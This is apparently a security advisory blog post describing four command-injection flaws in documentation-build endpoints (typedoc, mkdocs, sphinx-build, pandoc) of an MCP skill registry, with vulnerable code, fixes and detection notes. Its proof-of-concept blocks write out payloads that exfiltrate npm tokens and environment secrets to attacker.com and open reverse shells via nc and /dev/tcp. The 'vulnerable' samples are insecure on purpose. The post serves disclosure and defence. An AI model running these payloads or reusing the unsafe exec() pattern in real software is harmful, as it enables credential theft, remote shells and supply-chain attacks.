← Blog

Claude MCP skill code injection — skill documentation generation and static site publishing pipeline endpoints (SA-SKL-INJECTION60)

SA-SKL-INJECTION60 identifies four code injection vulnerabilities in MCP skill registry skill documentation generation and static site publishing pipeline endpoints. A documentation generation endpoint passes user-supplied entryPoint directly to exec() with typedoc — an attacker appends ; cat ~/.npmrc and exfiltrates npm authentication tokens enabling supply-chain publish attacks; a mkdocs build endpoint passes user-supplied configFile directly to exec() — an attacker appends ; nc attacker.com 4444 -e /bin/sh and establishes a reverse shell from the docs worker; a sphinx-build endpoint passes user-supplied sourceDir directly to exec() — an attacker appends ; printenv and exfiltrates all environment variables including DOCS_SIGNING_KEY and cloud credentials; and a pandoc conversion endpoint passes user-supplied outputFile to exec() — an attacker injects a space-delimited --lua-filter=/tmp/attacker.lua flag that loads an attacker-controlled Lua filter executing arbitrary code at pandoc processing time.

SA-SKL-INJECTION60 findings at a glance
CRITICALINJECTION60-001 — exec(`typedoc --entryPoints ${entryPoint} --out ${outputDir}`) — attacker entryPoint with ; cat ~/.npmrc exfiltrates npm auth tokens enabling supply-chain publish attacks
CRITICALINJECTION60-002 — exec(`mkdocs build --config-file ${configFile}`) — attacker configFile with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from docs worker
CRITICALINJECTION60-003 — exec(`sphinx-build ${sourceDir} ${buildDir}`) — attacker sourceDir with ; printenv exfiltrates all env vars including DOCS_SIGNING_KEY and cloud credentials
HIGHINJECTION60-004 — exec(`pandoc ${inputFile} -o ${outputFile}`) — attacker outputFile with space-injected --lua-filter=/tmp/attacker.lua loads attacker-controlled Lua filter executing arbitrary code at pandoc processing time

INJECTION60-001 — typedoc exec() injection via entryPoint exfiltrates npm authentication tokens

The documentation generation endpoint invokes typedoc by interpolating user-supplied parameters directly into a shell command string passed to exec(). Because exec() passes the command string to /bin/sh -c, any shell metacharacter in the input — semicolons, pipe characters, backtick substitutions, $() expansions — causes the shell to execute additional commands as part of the same invocation. The attacker appends ; cat ~/.npmrc > /tmp/out && curl -d @/tmp/out attacker.com/collect to the entryPoint value, causing the docs worker to read and transmit its ~/.npmrc file after typedoc exits.

The ~/.npmrc file on a docs worker that is also used for package publishing contains the registry authentication token used to publish packages to npm. With a valid _authToken, an attacker can publish a new version of any npm package that the service account has publish rights to. In the MCP skill registry context, this means an attacker who obtains the npm auth token can publish a backdoored version of a skill package under the legitimate publisher's identity — a classic supply-chain attack that is particularly dangerous because the malicious version appears in the registry with a trusted publisher signature.

Vulnerable
// INJECTION60-001 — VULNERABLE
router.post('/docs/generate', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { entryPoint, outputDir } = req.body;
  // VULNERABLE: user-supplied entryPoint interpolated into exec() shell command
  exec(
    `typedoc --entryPoints ${entryPoint} --out ${outputDir}`,
    (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: stderr });
      res.json({ ok: true, output: stdout });
    }
  );
});

Attack PoC — INJECTION60-001: An attacker injects a semicolon payload into entryPoint. The docs worker exfiltrates its ~/.npmrc credentials after typedoc runs. The attacker gains the npm auth token and can publish backdoored skill packages under the legitimate publisher identity.

// INJECTION60-001 — ATTACK PoC
fetch('/api/docs/generate', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    entryPoint: 'src/index.ts; cat ~/.npmrc > /tmp/npmrc_out && curl -s -d @/tmp/npmrc_out https://attacker.com/collect',
    outputDir: '/workspace/docs',
  }),
});
// exec() runs: typedoc --entryPoints src/index.ts; cat ~/.npmrc > /tmp/npmrc_out && curl ...
// ~/.npmrc contains: //registry.npmjs.org/:_authToken=npm_XXXXXXXXXXXXXX
// Attacker now has npm publish rights to all packages owned by the service account
Fixed
// INJECTION60-001 — FIXED
const SAFE_PATH_RE = /^[\w.\-/]+$/;

router.post('/docs/generate', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { entryPoint, outputDir } = req.body;
  // FIXED: validate entryPoint against safe path regex before use
  if (!SAFE_PATH_RE.test(entryPoint)) {
    return res.status(422).json({ error: 'Invalid entryPoint path' });
  }
  if (!entryPoint.startsWith('/workspace/')) {
    return res.status(422).json({ error: 'entryPoint must be within /workspace/' });
  }
  // FIXED: execFile passes args as array — no shell interpolation
  execFile(
    'typedoc',
    ['--entryPoints', entryPoint, '--out', outputDir],
    {
      // FIXED: strip npm credentials from worker environment
      env: { ...process.env, NPM_TOKEN: undefined, npm_config__authToken: undefined },
    },
    (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: 'Build failed' });
      res.json({ ok: true });
    }
  );
});

INJECTION60-002 — mkdocs exec() injection via configFile establishes reverse shell

The mkdocs build endpoint constructs its shell command by directly interpolating the user-supplied configFile path. Because the mkdocs binary accepts a single --config-file argument and the shell interprets the full string, appending a semicolon after a valid YAML filename allows an attacker to inject an arbitrary command. The reverse shell payload nc attacker.com 4444 -e /bin/sh connects back to the attacker's listener and provides an interactive shell running as the docs worker's service account.

An interactive shell on the docs worker gives the attacker access to all files, secrets, and network connections that the worker process can reach. In a typical CI/CD documentation pipeline, the docs worker shares a network segment with the main registry API server, the internal artifact store, and the deployment pipeline. From the reverse shell, the attacker can read the docs worker's service account credentials, access the artifact store to tamper with published skill packages, and use the network position to pivot to other internal services that accept connections from the docs worker's IP. The persistence of a reverse shell also means the attacker retains access after the original HTTP session ends, unlike injection payloads that only run synchronously during the request.

Vulnerable
// INJECTION60-002 — VULNERABLE
router.post('/docs/mkdocs-build', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { configFile, siteDir } = req.body;
  // VULNERABLE: user-supplied configFile interpolated into exec() shell command
  exec(
    `mkdocs build --config-file ${configFile} --site-dir ${siteDir}`,
    (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: stderr });
      res.json({ ok: true, output: stdout });
    }
  );
});

Attack PoC — INJECTION60-002: An attacker appends a reverse shell payload to configFile. The docs worker connects back to the attacker's netcat listener and provides an interactive shell, persisting beyond the HTTP request lifecycle.

// INJECTION60-002 — ATTACK PoC
fetch('/api/docs/mkdocs-build', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    configFile: 'mkdocs.yml; nc attacker.com 4444 -e /bin/sh',
    siteDir: '/workspace/site',
  }),
});
// exec() runs: mkdocs build --config-file mkdocs.yml; nc attacker.com 4444 -e /bin/sh
// Attacker receives interactive shell on the docs worker process
Fixed
// INJECTION60-002 — FIXED
const ALLOWED_CONFIGS = new Set(['mkdocs.yml', 'mkdocs.yaml', 'docs/mkdocs.yml']);
const SAFE_FILENAME_RE = /^[\w.\-/]+\.ya?ml$/;

router.post('/docs/mkdocs-build', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { configFile, siteDir } = req.body;
  // FIXED: validate configFile format and restrict to allowed set
  if (!SAFE_FILENAME_RE.test(configFile) || !ALLOWED_CONFIGS.has(configFile)) {
    return res.status(422).json({ error: 'Invalid or disallowed config file' });
  }
  // FIXED: execFile — args passed as array, no shell metacharacter interpretation
  execFile(
    'mkdocs',
    ['build', '--config-file', configFile, '--site-dir', siteDir],
    { cwd: '/workspace', env: { PATH: '/usr/bin:/bin' } },
    (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: 'Build failed' });
      res.json({ ok: true });
    }
  );
});

INJECTION60-003 — sphinx-build exec() injection via sourceDir exfiltrates environment variables

The sphinx-build documentation endpoint interpolates both sourceDir and buildDir from the request body into the shell command string. The sourceDir argument is the first positional argument to sphinx-build and is not enclosed in quotes, making it trivially injectable with a semicolon. The injected printenv | curl -d @- attacker.com/env payload pipes the entire process environment to an attacker-controlled server. Among the environment variables captured by this technique is DOCS_SIGNING_KEY, the private key used to sign published documentation artifacts and static site bundles.

The DOCS_SIGNING_KEY is particularly high-value because documentation bundles distributed through the registry are signed to allow consumers to verify authenticity. If the attacker obtains the signing key, they can sign forged documentation bundles and distribute them through any channel that consumers trust, including the registry's own CDN if the attacker separately gains write access to the artifact store. Beyond the signing key, the environment typically contains AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and DATABASE_URL for the docs pipeline's database, all of which represent direct credential exfiltration without requiring any further exploitation.

Vulnerable
// INJECTION60-003 — VULNERABLE
router.post('/docs/sphinx-build', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { sourceDir, buildDir } = req.body;
  // VULNERABLE: both sourceDir and buildDir interpolated into exec() shell command
  exec(
    `sphinx-build ${sourceDir} ${buildDir}`,
    (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: stderr });
      res.json({ ok: true, output: stdout });
    }
  );
});

Attack PoC — INJECTION60-003: An attacker appends a printenv pipeline to sourceDir. All process environment variables, including DOCS_SIGNING_KEY, AWS_ACCESS_KEY_ID, and DATABASE_URL, are exfiltrated to the attacker's server.

// INJECTION60-003 — ATTACK PoC
fetch('/api/docs/sphinx-build', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    sourceDir: '/workspace/docs; printenv | curl -s -d @- https://attacker.com/env',
    buildDir: '/workspace/build',
  }),
});
// exec() runs: sphinx-build /workspace/docs; printenv | curl -s -d @- attacker.com/env
// Attacker receives: DOCS_SIGNING_KEY=..., AWS_ACCESS_KEY_ID=..., DATABASE_URL=...
Fixed
// INJECTION60-003 — FIXED
const SAFE_PATH_RE = /^[\w.\-/]+$/;

router.post('/docs/sphinx-build', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { sourceDir, buildDir } = req.body;
  // FIXED: validate both path args; restrict to /workspace/ prefix
  for (const p of [sourceDir, buildDir]) {
    if (!SAFE_PATH_RE.test(p) || !p.startsWith('/workspace/')) {
      return res.status(422).json({ error: 'Invalid path argument' });
    }
  }
  // FIXED: execFile — no shell; sanitized environment strips all credential vars
  execFile(
    'sphinx-build',
    [sourceDir, buildDir],
    {
      env: {
        PATH: '/usr/bin:/bin',
        PYTHONPATH: process.env.PYTHONPATH,
        // Explicitly omit DOCS_SIGNING_KEY, AWS_*, DATABASE_URL, etc.
      },
    },
    (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: 'Build failed' });
      res.json({ ok: true });
    }
  );
});

INJECTION60-004 — pandoc exec() space injection via outputFile loads attacker Lua filter

The pandoc conversion endpoint interpolates both inputFile and outputFile from the request body into the shell command string. Unlike the semicolon injection in the previous findings, this vulnerability exploits pandoc's own argument parsing: an attacker who injects a space and --lua-filter=/tmp/attacker.lua into the outputFile value does not need any shell metacharacter. The shell word-splits the injected string, so pandoc receives --lua-filter=/tmp/attacker.lua as a legitimate separate command-line flag and executes the Lua script at document processing time within pandoc's embedded Lua interpreter.

Pandoc's Lua filter interface gives the Lua script access to the full pandoc AST, the ability to call pandoc.pipe() to execute arbitrary system binaries, and access to the pandoc process's environment. An attacker who can write a file to /tmp/attacker.lua — achievable via a separate file upload endpoint, a path traversal in the docs workspace, or a previous injection that wrote the file — can execute any binary accessible to the pandoc process. The Lua filter approach is particularly notable because it bypasses defenses that only look for semicolons and pipe characters in user input: the payload contains only alphanumeric characters, hyphens, slashes, and an equals sign, all of which are commonly permitted by naive input validation patterns.

Vulnerable
// INJECTION60-004 — VULNERABLE
router.post('/docs/pandoc-convert', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { inputFile, outputFile, format } = req.body;
  // VULNERABLE: outputFile interpolated into exec() — space injection adds extra flags
  exec(
    `pandoc ${inputFile} -t ${format} -o ${outputFile}`,
    (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: stderr });
      res.json({ ok: true, output: stdout });
    }
  );
});

Attack PoC — INJECTION60-004: An attacker injects a space-delimited --lua-filter flag into outputFile. Pandoc loads the Lua script at /tmp/attacker.lua and executes its contents during document processing. No shell metacharacter is required — word-splitting alone delivers the extra flag.

// INJECTION60-004 — ATTACK PoC
// Prerequisite: attacker has previously written a Lua script to /tmp/attacker.lua
// e.g. via a path traversal in the workspace file upload endpoint:
// /tmp/attacker.lua content:
//   function Doc(el) os.execute("bash -i >& /dev/tcp/attacker.com/4444 0>&1") end

fetch('/api/docs/pandoc-convert', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    inputFile: '/workspace/docs/README.md',
    // Space injection: outputFile word-splits into two tokens after shell expansion
    outputFile: 'out.html --lua-filter=/tmp/attacker.lua',
    format: 'html',
  }),
});
// exec() runs: pandoc /workspace/docs/README.md -t html -o out.html --lua-filter=/tmp/attacker.lua
// Pandoc loads and executes /tmp/attacker.lua — reverse shell established
Fixed
// INJECTION60-004 — FIXED
const SAFE_FILENAME_RE = /^[\w.\-]+$/; // no slashes, no spaces — filename only
const ALLOWED_FORMATS = new Set(['html', 'pdf', 'docx', 'rst', 'markdown', 'latex']);

router.post('/docs/pandoc-convert', requireSession, requireOwnership('skillId'), async (req, res) => {
  const { inputFile, outputFile, format } = req.body;
  // FIXED: validate outputFile is a bare filename with no path separators or spaces
  if (!SAFE_FILENAME_RE.test(outputFile)) {
    return res.status(422).json({ error: 'outputFile must be a plain filename with no path components' });
  }
  if (!ALLOWED_FORMATS.has(format)) {
    return res.status(422).json({ error: 'Unsupported output format' });
  }
  if (!SAFE_FILENAME_RE.test(path.basename(inputFile)) || !inputFile.startsWith('/workspace/')) {
    return res.status(422).json({ error: 'Invalid inputFile path' });
  }
  const outputPath = path.join('/workspace/output', outputFile);
  // FIXED: execFile — args as array; word-splitting impossible; no --lua-filter flag possible
  execFile(
    'pandoc',
    [inputFile, '-t', format, '-o', outputPath],
    { env: { PATH: '/usr/bin:/bin' } },
    (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: 'Conversion failed' });
      res.json({ ok: true });
    }
  );
});

SkillAudit detection: The scanner identifies INJECTION60 patterns using four AST query classes: exec(` template literals where any interpolated variable traces to req.body or req.query; absence of execFile( as the sibling call in documentation pipeline route handlers; path arguments that are not validated against /^[\w.\-/]+$/ or a workspace-prefix check before use in a child process call; and pandoc invocations where outputFile is not independently validated with a no-slash, no-space regex. Submit your MCP skill registry codebase to SkillAudit for a full audit report.

Related: SA-SKL-INJECTION59 — Code injection in testing and linting pipeline endpoints • All advisories